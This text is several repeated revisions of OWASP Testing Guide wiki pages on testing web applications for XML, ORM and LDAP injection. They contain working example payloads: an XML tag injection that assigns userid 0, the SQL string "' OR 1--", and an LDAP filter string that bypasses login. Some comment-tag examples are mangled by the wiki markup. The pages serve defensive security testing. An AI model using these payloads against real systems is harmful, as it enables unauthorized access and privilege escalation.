'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

This way original ''userid'' tag will be commented out and the one injected will be
parsed in compliance to DTD rules. 
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T05:54:57Z

Marco: /* Discovery */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

xml database file will be :

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

This way original ''userid'' tag will be commented out and the one injected will be
parsed in compliance to DTD rules. 
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T04:34:00Z

Marco: /* Black Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML
parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the XML document will no longer be well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be
used in case attribute value is enclosed by double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution will be:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the xml document will be no more valid.

* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis
in a user input like the following:

'''Username = foo<'''

the application wil build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but the presence of an open '<' will deny the validation of xml data.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/
end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

xml database file will be :

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

This way original ''userid'' tag will be commented out and the one injected will be
parsed in compliance to DTD rules. 
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T04:27:40Z

Marco:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an xml style communication
in order to perform users registration.
This is done by creating and adding a new <user> node on an xmlDb file.
Let's suppose xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0<userid/>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500<userid/>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user register himself by filling an html form,
the application will receive user's data in a standard request which
for the sake of simplicity will be supposed to be sent as GET request.

For example the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

Will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

to the application, which, afterwards, will build the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500<userid/>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0<userid/>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500<userid/>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500<userid/>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability, consists in trying to insert xml metacharacters. 
A list of xml metacharacters is:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during xml
parsing if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted into attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

The xml document will be no more well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be
used in case attribute value is enclosed by double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution will be:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the xml document will be no more valid.

* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis
in a user input like the following:

'''Username = foo<'''

the application wil build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but the presence of an open '<' will deny the validation of xml data.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/
end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

xml database file will be :

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

This way original ''userid'' tag will be commented out and the one injected will be
parsed in compliance to DTD rules. 
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 

{{Category:OWASP Testing Project AoC}}

Testing for ORM Injection (OTG-INPVAL-007)

2008-08-22T23:32:47Z

Marco:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
ORM Injection is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in code generated by the ORM tool.

== Description ==
An ORM is an Object Relational Mapping tool. It is used to expedite object oriented development within the data access layer of software applications, including web applications. The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks. ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.

ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

== Black Box testing and example ==
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection]. In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters. Most ORM tools provide safe functions to escape user input. However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.

== Gray Box testing and example ==
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and test web applications that use this tool, there is a higher probability of successfully attacking the application. Patterns to look for in code include:

* Input parameters concatenated with SQL strings. This code that uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)

Orders.find_all "customer_id = 123 AND order_date = '#{@params['order_date']}'"

Simply sending "' OR 1--" in the form where order date can be entered can yield positive results.

== References ==
'''Whitepapers''' 
* References from Testing for SQL Injection are applicable to ORM Injection - http://www.owasp.org/index.php/Testing_for_SQL_Injection#References
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping 
* OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection 

'''Tools''' 
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 
* Hibernate http://www.hibernate.org 
* NHibernate http://www.nhibernate.org 
* Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References 

{{Category:OWASP Testing Project AoC}}

Testing for ORM Injection (OTG-INPVAL-007)

2008-08-22T23:32:20Z

Marco: /* Gray Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
ORM Injection is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in code generated by the ORM tool.

== Description ==
An ORM is an Object Relational Mapping tool. It is used to expedite object oriented development within the data access layer of software applications, including web applications. The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks. ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.

ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

== Black Box testing and example ==
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection]. In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters. Most ORM tools provide safe functions to escape user input. However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.

== Gray Box testing and example ==
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and test web applications that use this tool, there is a higher probability of successfully attacking the application. Patterns to look for in code include:

Input parameters concatenated with SQL strings. This code that uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)

Orders.find_all "customer_id = 123 AND order_date = '#{@params['order_date']}'"

Simply sending "' OR 1--" in the form where order date can be entered can yield positive results.

== References ==
'''Whitepapers''' 
* References from Testing for SQL Injection are applicable to ORM Injection - http://www.owasp.org/index.php/Testing_for_SQL_Injection#References
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping 
* OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection 

'''Tools''' 
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 
* Hibernate http://www.hibernate.org 
* NHibernate http://www.nhibernate.org 
* Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References 

{{Category:OWASP Testing Project AoC}}

Testing for ORM Injection (OTG-INPVAL-007)

2008-08-22T23:30:36Z

Marco: /* Black Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
ORM Injection is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in code generated by the ORM tool.

== Description ==
An ORM is an Object Relational Mapping tool. It is used to expedite object oriented development within the data access layer of software applications, including web applications. The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks. ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.

ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

== Black Box testing and example ==
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection]. In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters. Most ORM tools provide safe functions to escape user input. However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.

== Gray Box testing and example ==
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and test web applications that use this tool, there is a higher probability of successfully attacking the application. Patterns to look for in code include:

Input parameters concatenated with SQL strings, this example using ActiveRecord for Ruby on Rails (though any ORM can be vulnerable)

Orders.find_all "customer_id = 123 AND order_date = '#{@params['order_date']}'"

Simply sending "' OR 1--" in the form where order date can be entered can yield positive results.

== References ==
'''Whitepapers''' 
* References from Testing for SQL Injection are applicable to ORM Injection - http://www.owasp.org/index.php/Testing_for_SQL_Injection#References
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping 
* OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection 

'''Tools''' 
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 
* Hibernate http://www.hibernate.org 
* NHibernate http://www.nhibernate.org 
* Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References 

{{Category:OWASP Testing Project AoC}}

Testing for ORM Injection (OTG-INPVAL-007)

2008-08-22T23:30:02Z

Marco: /* Black Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
ORM Injection is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in code generated by the ORM tool.

== Description ==
An ORM is an Object Relational Mapping tool. It is used to expedite object oriented development within the data access layer of software applications, including web applications. The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks. ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.

ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

== Black Box testing and example ==
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection]. In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters. Most ORM software provide safe functions to escape user input. However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.

== Gray Box testing and example ==
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and test web applications that use this tool, there is a higher probability of successfully attacking the application. Patterns to look for in code include:

Input parameters concatenated with SQL strings, this example using ActiveRecord for Ruby on Rails (though any ORM can be vulnerable)

Orders.find_all "customer_id = 123 AND order_date = '#{@params['order_date']}'"

Simply sending "' OR 1--" in the form where order date can be entered can yield positive results.

== References ==
'''Whitepapers''' 
* References from Testing for SQL Injection are applicable to ORM Injection - http://www.owasp.org/index.php/Testing_for_SQL_Injection#References
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping 
* OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection 

'''Tools''' 
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 
* Hibernate http://www.hibernate.org 
* NHibernate http://www.nhibernate.org 
* Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References 

{{Category:OWASP Testing Project AoC}}

Testing for LDAP Injection (OTG-INPVAL-006)

2008-08-22T23:28:22Z

Marco: /* Example 2. Login */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted. 
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.

== Description of the Issue ==

A web application could use LDAP in order to let users authenticate or search other users information
inside a corporate structure.

The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.

[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]
defines a grammar on how to build a search filter on LDAPv3 and
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).

An LDAP search filter is constructed in Polish notation,
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].

This means that a pseudo code condition on a search filter like this:

find("cn=John & userPassword=mypass")

will be represented as:

find("(&(cn=John)(userPassword=mypass))")

Boolean conditions and group aggregations on an
LDAP search filter could be applied by using
the following metacharacters:
{| border=1
|| '''Metachar''' || '''Meaning'''
|-
|| & || Boolean AND
|-
|| | || Boolean OR
|-
|| ! || Boolean NOT
|-
|| = || Equals
|-
|| ~= || Approx
|-
|| >= || Greater than
|-
|| <= || Less than
|-
|| * || Any character
|-
|| () || Grouping parenthesis
|-
|}
More complete examples on how to build a search filter can be
found in the related RFC.

A successful exploitation of an LDAP injection vulnerability could allow the tester to:

* Access unauthorized content
* Evade Application restrictions
* Gather unauthorized informations
* Add or modify Objects inside LDAP tree structure.

== Black Box testing and example ==

=== Example 1. Search Filters ===

Let's suppose we have a web application using a search
filter like the following one:

searchfilter="(cn="+user+")"

which is instantiated by an HTTP request like this:

<nowiki>http://www.example.com/ldapsearch?user=John</nowiki>

If the value 'John' is replaced with a '*',
by sending the request:

<nowiki>http://www.example.com/ldapsearch?user=*</nowiki>

the filter will look like:

searchfilter="(cn=*)"

which matches every object with a 'cn' attribute equals to anything.

If the application is vulnerable to LDAP injection, it will display some or all of the users attributes, depending on the application's execution flow and the permissions of the LDAP connected user,

A tester could use a trial-and-error approach, by inserting in the parameter
'(', '|', '&', '*' and the other characters, in order to check
the application for errors.

=== Example 2. Login ===

If a web application uses LDAP to check user credentials during the login process and it is vulnerable to LDAP injection,, it is possible to bypass the authentication check by injecting an always true LDAP query (in a similar way to SQL
and XPATH injection ).

Let's suppose a web application uses a filter to match LDAP user/password pair.

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";

By using the following values:

<nowiki>user=*)(uid=*))(|(uid=*
pass=password</nowiki>

the search filter will results in:

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

which is correct and always true.
This way, the tester will gain logged-in status as the first user in LDAP three.

== References ==
'''Whitepapers''' 
Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf 
<nowiki>RFC 1960</nowiki>: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt 
Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm 
IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html 
 
'''Tools''' 
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php 

{{Category:OWASP Testing Project AoC}}

Testing for LDAP Injection (OTG-INPVAL-006)

2008-08-22T23:25:52Z

Marco: /* Example 1. Search Filters */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted. 
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.

== Description of the Issue ==

A web application could use LDAP in order to let users authenticate or search other users information
inside a corporate structure.

The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.

[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]
defines a grammar on how to build a search filter on LDAPv3 and
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).

An LDAP search filter is constructed in Polish notation,
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].

This means that a pseudo code condition on a search filter like this:

find("cn=John & userPassword=mypass")

will be represented as:

find("(&(cn=John)(userPassword=mypass))")

Boolean conditions and group aggregations on an
LDAP search filter could be applied by using
the following metacharacters:
{| border=1
|| '''Metachar''' || '''Meaning'''
|-
|| & || Boolean AND
|-
|| | || Boolean OR
|-
|| ! || Boolean NOT
|-
|| = || Equals
|-
|| ~= || Approx
|-
|| >= || Greater than
|-
|| <= || Less than
|-
|| * || Any character
|-
|| () || Grouping parenthesis
|-
|}
More complete examples on how to build a search filter can be
found in the related RFC.

A successful exploitation of an LDAP injection vulnerability could allow the tester to:

* Access unauthorized content
* Evade Application restrictions
* Gather unauthorized informations
* Add or modify Objects inside LDAP tree structure.

== Black Box testing and example ==

=== Example 1. Search Filters ===

Let's suppose we have a web application using a search
filter like the following one:

searchfilter="(cn="+user+")"

which is instantiated by an HTTP request like this:

<nowiki>http://www.example.com/ldapsearch?user=John</nowiki>

If the value 'John' is replaced with a '*',
by sending the request:

<nowiki>http://www.example.com/ldapsearch?user=*</nowiki>

the filter will look like:

searchfilter="(cn=*)"

which matches every object with a 'cn' attribute equals to anything.

If the application is vulnerable to LDAP injection, it will display some or all of the users attributes, depending on the application's execution flow and the permissions of the LDAP connected user,

A tester could use a trial-and-error approach, by inserting in the parameter
'(', '|', '&', '*' and the other characters, in order to check
the application for errors.

=== Example 2. Login ===

If a web application uses a vulnerable login page with LDAP query for
user credentials, it is possible to bypass the check for user/password
presence by injecting an always true LDAP query (in a similar way to SQL
and XPATH injection ).

Let's suppose a web application uses a filter to match LDAP user/password pair.

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";

By using the following values:

<nowiki>user=*)(uid=*))(|(uid=*
pass=password</nowiki>

